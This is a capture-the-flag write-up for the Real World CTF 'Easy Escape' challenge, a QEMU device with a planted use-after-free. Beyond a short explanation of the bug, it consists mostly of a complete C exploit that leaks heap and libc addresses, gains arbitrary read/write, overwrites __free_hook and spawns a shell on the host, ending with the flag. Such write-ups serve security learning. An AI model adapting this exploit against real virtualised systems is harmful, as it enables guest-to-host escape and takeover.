## [Real World CTF 3rd](https://ctftime.org/event/1198) - Esay Escape
Qemu with a preset vulnerability.
### Hint
Just have fun and enjoy the [game](https://rwctf2021.s3-us-west-1.amazonaws.com/Easy_Escape-8d5ece9b06d837ee7271378771e23fbdad7dab9a.tgz). :)
Running environment: Ubuntu 20.04
nc 13.52.35.2 10918
### vulnerability
Thanks for the tips from Master remilia, or not I can't find the loophole at all.
```c++void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val){  if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )  {    put_result(fun, 1u);    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);    put_result(fun, 2u);  }}
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val){  if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )  {    put_result(fun, 1u);    dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);    put_result(fun, 2u);  }}
void __cdecl put_result(FunState *fun, uint32_t_0 val){  uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);  result = val;  dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);}```
To be honest, the put_result function has always been ignored by me, and I've always thought of it as the ordinary puts.
`put_result` that can also trigger `delete_req` will lead to illegal writing after deleting in `handle_data_read` and illegal reading after deleting in `handle_data_write`, just need to make fun->result_addr point to physical memory of the mmio device.
### EXP
```c++#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>
void print_hex(unsigned char *addr, int size, int mode){    int i, ii;    unsigned long long temp;    switch (mode)    {    case 0:        for (i = 0; i < size;)        {            for (ii = 0; i < size && ii < 8; i++, ii++)            {                printf("%02X ", addr[i]);            }            printf("    ");            for (ii = 0; i < size && ii < 8; i++, ii++)            {                printf("%02X ", addr[i]);            }            puts("");        }        break;
    case 1:        for (i = 0; i < size;)        {            temp = *(unsigned long long *)(addr + i);            for (ii = 0; i < size && ii < 8; i++, ii++)            {                printf("%02X ", addr[i]);            }            printf("    ");            printf("0x%llx\n", temp);        }        break;    }}
char *mmio_mem;size_t mmio_result;#define MMIO_WRITE(addr, value) (*((uint32_t *)(mmio_mem + (addr))) = (value));#define MMIO_READ(addr) (mmio_result = *((uint32_t *)(mmio_mem + (addr))));
char *get_phys_addr(char *vir_addr){#define PFN_MASK ((((size_t)1) << 54) - 1)
    int fd = open("/proc/self/pagemap", O_RDONLY);    if (fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }    size_t vir = (size_t)vir_addr;    // 0x1000 gets the n of the nth page, because a record data is 8 bytes, so *8, it is the offset of the record of the page in the file    size_t offset = vir / 0x1000 * 8;    if (lseek(fd, offset, SEEK_SET) == -1)    {        perror("lseek");        exit(EXIT_FAILURE);    }    size_t addr;    if (read(fd, &addr, 8) != 8)    {        perror("read");        exit(EXIT_FAILURE);    }    addr = (addr & PFN_MASK) * 0x1000;    return (char *)addr;}
int main(){    int mmio_fd, fd;    char *userspace, *pic_addr = NULL, *addr, *control_addr, *tcache, *Req;    char buf[0x100], tcache_raw[0x400], base64_buf[0x1000];    char *image_base, *puts_addr, *system_addr, *libc_addr, *__free_hook;
    setbuf(stdout, NULL);
    // Open and map I/O memory for the string device    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);    if (mmio_fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }
    /* Get PCI physical address */    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource", O_RDONLY);    if (fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }    memset(buf, 0, sizeof(buf));    read(fd, buf, sizeof(buf));    close(fd);    sscanf(buf, "%p", &pic_addr);    printf("PIC address: %p\n", pic_addr);
    mmio_mem = mmap((void *)0xabc0000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)    {        perror("mmap");        exit(EXIT_FAILURE);    }
    userspace = mmap((void *)0x1230000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    memset(userspace, 0, 0x1000);
    printf("mmio_mem: %p\n", mmio_mem);    MMIO_WRITE(0, 0xbff); // size -> 0xc00    MMIO_WRITE(0x14, 0);  // malloc
    printf("phys: %p\n", get_phys_addr((char *)userspace));
    MMIO_WRITE(0x4, (size_t)get_phys_addr(userspace)); // addr    MMIO_WRITE(0xc, 0);                                // index
    MMIO_WRITE(0x8, (size_t)pic_addr + 0x18); // To trigger delete_req    memset(userspace, 0, 0x1000);
    /* Use tcache_entry->key to leak tcache information and find opaque->req */    MMIO_READ(0x10); // illegal reading after deleting    // print_hex(userspace, 0x400, 1);              // delete after read    Req = *(char **)(userspace + 0x80 + 0x3f * 8); // tcache_chunk->size = 0x410    printf("Req: %p\n", Req);    memcpy(tcache_raw, userspace, 0x400);
    /* The principle is the same as above */    MMIO_WRITE(0, 0xbff);         // size -> 0xc00    MMIO_WRITE(0x14, 0);          // malloc    MMIO_WRITE(0xc, 1);           // index    memset(userspace, 0, 0x1000); // initialize buffer    MMIO_READ(0x10);              // illegal reading after deleting    // print_hex(userspace + 0x400, 0x40, 1);   // delete after read
    tcache = *(char **)(userspace + 0x400 + 8);    printf("tcache: %p\n", tcache);
    /* Hijack tcache_entry->next to form a loop chain by illegal writing after deleting. */    MMIO_WRITE(0, 0xbff);         // size -> 0xc00    MMIO_WRITE(0x14, 0);          // malloc    MMIO_WRITE(0xc, 1);           // index    memset(userspace, 0, 0x1000); // initialize buffer
    *(char **)(userspace + 0x400 + 0) = Req;    // double link    *(char **)(userspace + 0x400 + 8) = tcache; // tcache    MMIO_WRITE(0x10, 0);                        // illegal writing after deleting
    /* Then we can Read and write at any address. */    MMIO_WRITE(0, 0xbff); // size -> 0xc00    MMIO_WRITE(0x14, 0);  // malloc    MMIO_WRITE(0x8, 0);   // disable the vulnerability
    /* set address */#define SET(address)                               \    memset(userspace, 0, 0x1000);                  \    *(int *)(userspace + 0x800 + 0) = 0xbff;       \    *(char **)(userspace + 0x800 + 8) = (address); \    *(char **)(userspace + 0x800 + 0x10) = 0;      \    *(char **)(userspace + 0x800 + 0x18) = Req;    \    MMIO_WRITE(0xc, 2);                            \    MMIO_WRITE(0x10, 0);                           \    MMIO_WRITE(0xc, 0);
    /* read memory */#define READ(address) \    SET((address));   \    MMIO_READ(0x10);
    /* I can only search memory addresses everywhere, but fortunately, there are many relative addresses of the program. */    printf("find: %p\n", *(char **)(tcache_raw + 92 * 8));    READ(*(char **)(tcache_raw + 92 * 8));    // print_hex(userspace, 0x400, 1); // show
    addr = *(char **)(userspace + 108 * 8);    printf("find: %p\n", addr);    READ(addr);    // print_hex(userspace, 0x400, 0); // show    image_base = addr - 0x6761b0;    printf("image_base: %p\n", image_base);
    addr = image_base + 0x100DD38;    READ(addr);    puts_addr = *(char **)userspace;    printf("puts_addr: %p\n", puts_addr);
    libc_addr = puts_addr - 0x875a0;    system_addr = libc_addr + 0x55410;    __free_hook = libc_addr + 0x1eeb28;
    /* getshell */    SET(__free_hook - 8);    strcpy(userspace, "/bin/sh");    *(char **)(userspace + 8) = system_addr;    MMIO_WRITE(0x10, 0); // dma_read    MMIO_WRITE(0x18, 0); // delete
    puts("end");
    return 0;}/* rwctf{OhhohohO_yoU_Got_mE} */
```